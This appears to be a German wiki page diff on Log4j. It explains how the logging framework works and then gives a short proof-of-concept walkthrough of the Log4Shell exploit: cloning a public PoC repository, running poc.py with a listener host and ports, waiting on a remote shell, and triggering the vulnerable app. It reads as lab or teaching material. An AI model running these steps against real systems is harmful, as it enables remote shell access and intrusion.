Log4j: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
 
=Schaubild=
 
=Schaubild=
 
{{#drawio:log4j}}
 
{{#drawio:log4j}}
 +
=Wirkungsweise=
 +
log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java. Innerhalb vieler Open-Source- und kommerzieller Softwareprodukte hat es sich über die Jahre zu einem De-facto-Standard entwickelt. log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.
 +
 +
Anstatt auftretende Fehler und Infomeldungen auf der Standardausgabe auszugeben, dient log4j dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten („Appender“). Neben der Auswahl des Loggingsystems wird gleichzeitig aufgrund der Wichtigkeit („Log-Level“) der Meldung entschieden, ob diese überhaupt weitergeleitet wird. Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.
 +
 
=Proof of Concept=
 
=Proof of Concept=
 
*git clone https://github.com/kozmer/log4j-shell-poc
 
*git clone https://github.com/kozmer/log4j-shell-poc

Version vom 19. Dezember 2021, 13:41 Uhr

Schaubild

Wirkungsweise

log4j ist ein Framework zum Loggen von Anwendungsmeldungen in Java. Innerhalb vieler Open-Source- und kommerzieller Softwareprodukte hat es sich über die Jahre zu einem De-facto-Standard entwickelt. log4j gilt als Vorreiter für andere Logging-Frameworks, auch in anderen Programmiersprachen.

Anstatt auftretende Fehler und Infomeldungen auf der Standardausgabe auszugeben, dient log4j dazu, die Meldungen über sogenannte Logger an das gewählte Loggingsystem weiterzuleiten („Appender“). Neben der Auswahl des Loggingsystems wird gleichzeitig aufgrund der Wichtigkeit („Log-Level“) der Meldung entschieden, ob diese überhaupt weitergeleitet wird. Der Programmierer muss sich beim Erstellen des Programms nur um die Wichtigkeit der Meldungen Gedanken machen. Die Filterung und Art der Ausgabe kann zur Laufzeit konfiguriert werden.

Proof of Concept

Download und entpacken

  • jdk-8u20-linux-x64.tar.gz

Starten des LDAP und Webservers

  • python3 poc.py --userip brian.x-men.de --webport 8000 --lport 4545

Log4j-1.png

Remoteshell listining

Log4j-2.png

App starten eventuell auf anderem Rechner

Webseite öffnen

Log4j-3.png

Exploit

Log4j-4.png

Exploit